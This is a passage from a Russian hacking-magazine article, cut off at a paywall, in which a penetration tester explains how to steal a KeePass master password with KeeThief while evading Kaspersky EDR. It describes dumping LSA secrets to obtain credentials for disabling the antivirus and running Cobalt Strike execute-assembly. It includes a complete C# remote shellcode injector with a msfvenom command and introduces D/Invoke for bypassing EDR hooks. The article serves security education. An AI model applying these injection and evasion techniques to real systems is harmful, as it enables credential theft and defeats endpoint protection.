Не­дав­но на пен­тесте мне понадо­билось вытащить мас­тер‑пароль откры­той базы дан­ных KeePass из памяти про­цес­са с помощью ути­литы KeeThief из арсе­нала GhostPack. Все бы ничего, да вот EDR, сле­дящий за сис­темой, катего­ричес­ки не давал мне это­го сде­лать — ведь под капотом KeeThief живет клас­сичес­кая про­цеду­ра инъ­екции шелл‑кода в уда­лен­ный про­цесс, что не может остать­ся незаме­чен­ным в 2022 году.

В этой статье мы рас­смот­рим замеча­тель­ный сто­рон­ний механизм D/Invoke для C#, поз­воля­ющий эффектив­но дер­гать Windows API в обход средств защиты, и перепи­шем KeeThief, что­бы его не ловил великий и ужас­ный «Кас­пер­ский». Пог­нали!

 

Предыстория

В общем, пре­бываю я на внут­ряке, домен‑админ уже пой­ман и наказан, но вот оста­лась одна вред­ная база дан­ных KeePass, которая, конеч­но же, не захоте­ла сбру­тить­ся с помощью hashcat и keepass2john.py. В KeePass — дос­тупы к кри­тичес­ки важ­ным ресур­сам инфры, опре­деля­ющим исход внут­ряка, поэто­му доб­рать­ся до нее нуж­но. На рабочей стан­ции, где поль­зак кру­тит инте­ресу­ющую нас базу, гля­дит в оба Kaspersky Endpoint Security (он же KES), который не дает рас­сла­бить­ся. Рас­смот­рим, какие есть вари­анты получить желан­ный мас­тер‑пароль, не при­бегая к социн­женерии.

Преж­де все­го ска­жу, что успех это­го пред­при­ятия — в обя­затель­ном исполь­зовании кру­той мал­вари KeeThief из кол­лекции GhostPack авторс­тва небезыз­вес­тных @harmj0y и @tifkin_. Ядро прог­раммы — кас­томный шелл‑код, который вызыва­ет RtlDecryptMemory в отно­шении зашиф­рован­ной области вир­туаль­ной памяти KeePass.exe и выдер­гива­ет отту­да наш мас­тер‑пароль. Если есть шелл‑код, нужен и заг­рузчик, и с этим воз­ника­ют труд­ности, ког­да на хос­те при­сутс­тву­ет EDR...

Впро­чем, мы отвлек­лись. Какие были вари­анты?

 

Потушить AV

Са­мый прос­той (и глу­пый) спо­соб — вырубить к чер­тям «Кас­пер­ско­го» на пару секунд. «Это не ред­тим, поэто­му пра­во имею!» — подумал я. Так как при­виле­гии адми­нис­тра­тора домена есть, есть и дос­туп к сер­веру адми­нис­три­рова­ния KES. Сле­дова­тель­но, и к учет­ке KlScSvc (в этом слу­чае исполь­зовалась локаль­ная УЗ), кре­ды от которой хра­нят­ся сре­ди сек­ретов LSA в плей­нтек­сте.

По­рядок дей­ствий прос­той. Дам­паю LSA с помощью secretsdump.py.

Потрошим LSA
Пот­рошим LSA

Гру­жу кон­соль адми­нис­три­рова­ния KES с офи­циаль­ного сай­та и логинюсь, ука­зав хос­тнейм KSC.

Консоль администрирования KES
Кон­соль адми­нис­три­рова­ния KES

Сто­порю «Кас­пера» и делаю свои гряз­ные делиш­ки.

AdobeHelperAgent.exe, ну вы поняли, ага
AdobeHelperAgent.exe, ну вы поняли, ага

Profit! Мас­тер‑пароль у нас. Пос­ле окон­чания про­екта я опро­бовал дру­гие спо­собы решить эту задачу.

 

Получить сессию C2

Мно­гие C2-фрей­мвор­ки уме­ют тащить за собой DLL ран­тай­ма кода C# (Common Language Runtime, CLR) и заг­ружать ее отра­жен­но по прин­ципу RDI (Reflective DLL Injection) для запус­ка мал­вари из памяти. Теоре­тичес­ки это может пов­лиять на про­цесс отло­ва управля­емо­го кода, исполня­емо­го через такой трюк.

Пол­ноцен­ную сес­сию Meterpreter при активном анти­виру­се Кас­пер­ско­го получить труд­но из‑за оби­лия арте­фак­тов в сетевом тра­фике, поэто­му его execute-assembly я даже про­бовать не стал. А вот модуль execute-assembly Cobalt Strike при­нес свои резуль­таты, если пра­виль­но получить сес­сию beacon (далее скрин­шоты будут с домаш­него KIS, а не KES, но все тех­ники работа­ют и про­тив пос­ледне­го — про­вере­но).

KeeTheft.exe с помощью execute-assembly CS
KeeTheft.exe с помощью execute-assembly CS

Все козыри рас­кры­вать не буду — мне еще работать пен­тесте­ром, одна­ко этот метод тоже не пред­став­ляет боль­шого инте­реса в нашей ситу­ации. Для глад­кого получе­ния сес­сии «маяч­ка» нужен внеш­ний сер­вак, на который надо нак­рутить валид­ный сер­тификат для шиф­рования SSL-тра­фика, а заражать таким обра­зом машину с внут­ренне­го перимет­ра заказ­чика — сов­сем невеж­ливо.

 

Перепаять инструмент

Са­мый инте­рес­ный и в то же вре­мя тру­дозат­ратный спо­соб — перепи­сать логику инъ­екции шелл‑кода таким обра­зом, что­бы EDR не спа­лил в момент исполне­ния. Это то, ради чего мы сегод­ня соб­рались, но для начала нем­ного теории.

Примечание

Де­ло здесь имен­но в укло­нении от эвристи­чес­кого ана­лиза, так как, если спря­тать сиг­натуру мал­вари с помощью недетек­тиру­емо­го упа­ков­щика, дос­туп к памяти нам все рав­но будет зап­рещен из‑за фей­ла инъ­екции.

Запуск криптованного KeeTheft.exe при активном EDR
За­пуск крип­тован­ного KeeTheft.exe при активном EDR
 

Классическая инъекция шелл-кода

Ог­лянем­ся назад и рас­смот­рим клас­сичес­кую тех­нику внед­рения сто­рон­него кода в уда­лен­ный про­цесс. Для это­го наши пред­ки поль­зовались свя­щен­ным трио Win32 API:

  • VirtualAllocEx — выделить мес­то в вир­туаль­ной памяти уда­лен­ного про­цес­са под наш шелл‑код.
  • WriteProcessMemory — записать бай­ты шелл‑кода в выделен­ную область памяти.
  • CreateRemoteThread — запус­тить новый поток в уда­лен­ном про­цес­се, который стар­тует све­жеза­писан­ный шелл‑код.
Исполнение шелл-кода с помощью Thread Execution (изображение — elastic.co)
Ис­полне­ние шелл‑кода с помощью Thread Execution (изоб­ражение — elastic.co)

На­пишем прос­той PoC на C#, демонс­три­рующий эту самую клас­сичес­кую инъ­екцию шелл‑кода.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SimpleInjector
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
public static void Main()
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };
// Получаем PID процесса explorer.exe
int processId = Process.GetProcessesByName("explorer")[0].Id;
// Получаем хендл процесса по его PID (0x001F0FFF = PROCESS_ALL_ACCESS)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
// Выделяем область памяти 0x1000 байт (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Записываем шелл-код в выделенную область
_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);
// Запускаем поток
_ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}

Ском­пилиро­вав и запус­тив инжектор, с помощью Process Hacker мож­но наб­людать, как в про­цес­се explorer.exe запус­тится новый поток, рису­ющий нам диало­говое окно MSF.

Классическая инъекция шелл-кода
Клас­сичес­кая инъ­екция шелл‑кода

Ес­ли прос­то положить такой бинарь на диск с активным средс­твом анти­вирус­ной защиты, реак­ция будет незамед­литель­ной незави­симо от содер­жимого мас­сива buf, то есть нашего шелл‑кода. Все дело в ком­бинации потен­циаль­но опас­ных вызовов Win32 API, которые заведо­мо исполь­зуют­ся в боль­шом количес­тве злов­редов. Для демонс­тра­ции я переком­пилирую инжектор с пус­тым мас­сивом buf и залью резуль­тат на VirusTotal. Ре­акция ресур­са говорит сама за себя.

VirusTotal намекает...
VirusTotal намека­ет...

Как анти­вирус­ное ПО понима­ет, что перед ним инжектор, даже без динами­чес­кого ана­лиза? Все прос­то: пач­ка атри­бутов DllImport, занима­ющих полови­ну нашего исходни­ка, кри­чит об этом на всю дерев­ню. Нап­ример, с помощью такого вол­шебно­го кода на PowerShell я могу пос­мотреть все импорты в бинаре .NET.

Примечание

Здесь исполь­зует­ся сбор­ка System.Reflection.Metadata, дос­тупная «из короб­ки» в PowerShell Core. Уста­нов­ка опи­сана в до­кумен­тации Microsoft.

$assembly = "C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\Release\SimpleInjector.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
Смотрим импорты в SimpleInjector.exe
Смот­рим импорты в SimpleInjector.exe

info

Эти импорты пред­став­ляют собой спо­соб вза­имо­дей­ствия при­ложе­ний .NET с неуп­равля­емым кодом — таким, нап­ример, как фун­кции биб­лиотек user32.dll, kernel32.dll. Этот механизм называ­ется P/Invoke (Platform Invocation Services), а сами сиг­натуры импорти­руемых фун­кций с набором аргу­мен­тов и типом воз­вра­щаемо­го зна­чения мож­но най­ти на сай­те pinvoke.net.

При ана­лизе это­го доб­ра в динами­ке, как ты понима­ешь, дела обсто­ят еще про­ще: так как все EDR име­ют при­выч­ку вешать хуки на userland-интерфей­сы, вызовы подоз­ритель­ных API сра­зу под­нимут тре­вогу. Под­робнее об этом мож­но почитать в ре­сер­че @ShitSecure, а в лабора­тор­ных усло­виях хукинг наг­ляднее все­го про­демонс­три­ровать с помощью API Monitor.

Хукаем kernel32.dll в SimpleInjector.exe
Ху­каем kernel32.dll в SimpleInjector.exe

Итак, что же со всем этим делать?

 

Введение в D/Invoke

В 2020 году иссле­дова­тели @TheWover и @FuzzySecurity пред­ста­вили новый API для вызова неуп­равля­емо­го кода из .NET — D/Invoke (Dynamic Invocation, по ана­логии с P/Invoke). Этот спо­соб осно­ван на исполь­зовании мощ­ного механиз­ма де­лега­тов в C# и изна­чаль­но был дос­тупен как часть фрей­мвор­ка для раз­работ­ки пос­тэкс­плу­ата­цион­ных тулз SharpSploit, одна­ко поз­же был вынесен в отдель­ный ре­пози­торий и даже по­явил­ся в виде сбор­ки на NuGet.

С помощью делега­тов раз­работ­чик может объ­явить ссыл­ку на фун­кцию, которую хочет выз­вать, со все­ми парамет­рами и типом воз­вра­щаемо­го зна­чения, как и при исполь­зовании импорта с помощью атри­бута DllImport. Раз­ница в том, что в отли­чие от импорта с помощью DllImport, ког­да адрес импорти­руемых фун­кций ищет исполня­ющая сре­да, при исполь­зовании делега­тов мы дол­жны самос­тоятель­но локали­зовать инте­ресу­ющий нас неуп­равля­емый код (динами­чес­ки, в ходе выпол­нения прог­раммы) и ассо­цииро­вать его с объ­явленным ука­зате­лем. Далее мы смо­жем обра­щать­ся к ука­зате­лю как к иско­мой фун­кции, без необ­ходимос­ти «кри­чать» о том, что мы вооб­ще собира­лись ее исполь­зовать.

D/Invoke пре­дос­тавля­ет не один под­ход для динами­чес­кого импорта неуп­равля­емо­го кода, в том чис­ле:

  1. DynamicAPIInvoke — пар­сит струк­туру DLL (при­чем может как заг­ружать ее с дис­ка, так и обра­щать­ся к уже заг­ружен­ному экзем­пля­ру в памяти текуще­го про­цес­са), где раз­мещена нуж­ная фун­кция, и вычис­ляет ее экспорт‑адрес.
  2. GetSyscallStub — заг­ружа­ет в память биб­лиоте­ку ntdll.dll, точ­но так же пар­сит ее струк­туру, что­бы в резуль­тате получить не что иное, как ука­затель на экспорт‑адрес сис­темно­го вызова — пос­ледней чер­ты перед перехо­дом в мир мер­твых kernel-mode (о сис­темных вызовах погово­рим чуть поз­же).

Что­бы было понят­нее, раз­берем для начала прос­той при­мер, который дела­ет неч­то похожее на пер­вый под­ход, но без исполь­зования D/Invoke.

 

DynamicAPIInvoke без D/Invoke

Мне очень нра­вит­ся при­мер из статьи xpn (вто­рой лис­тинг кода в раз­деле «A Quick History Lesson»), где он показы­вает, как мож­но исполь­зовать всю мощь делега­тов вмес­те с руч­ным поис­ком экспорт‑адре­са неуп­равля­емой фун­кции менее чем за 50 строк.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Подписаться
Уведомить о
1 Комментарий
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии